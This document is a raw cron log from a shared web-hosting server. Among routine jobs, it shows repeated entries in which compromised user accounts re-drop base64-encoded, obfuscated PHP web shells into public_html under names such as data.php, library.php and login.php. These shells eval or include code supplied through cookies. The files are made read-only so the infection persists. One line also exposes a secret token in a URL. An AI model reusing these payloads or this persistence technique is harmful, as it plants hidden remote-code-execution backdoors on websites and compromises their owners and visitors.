Mar  1 12:21:02 medusa CROND[12498]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:21:02 medusa CROND[12499]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:21:02 medusa CROND[12501]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:21:02 medusa CROND[12507]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:21:02 medusa CROND[12509]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:21:02 medusa CROND[12510]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:21:02 medusa CROND[12511]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:22:02 medusa CROND[3035]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:22:02 medusa CROND[3036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:22:02 medusa CROND[3037]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:22:02 medusa CROND[3038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:22:02 medusa CROND[3040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:22:02 medusa CROND[3042]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:22:02 medusa CROND[3043]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:22:02 medusa CROND[3044]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:22:02 medusa CROND[3039]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:22:02 medusa CROND[3041]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:22:02 medusa CROND[3046]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:22:02 medusa CROND[3047]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:22:02 medusa CROND[3049]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:22:02 medusa CROND[3048]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:23:01 medusa CROND[24895]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:23:01 medusa CROND[25033]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:23:01 medusa CROND[25034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:23:01 medusa CROND[25037]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:23:01 medusa CROND[25038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:23:01 medusa CROND[25042]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
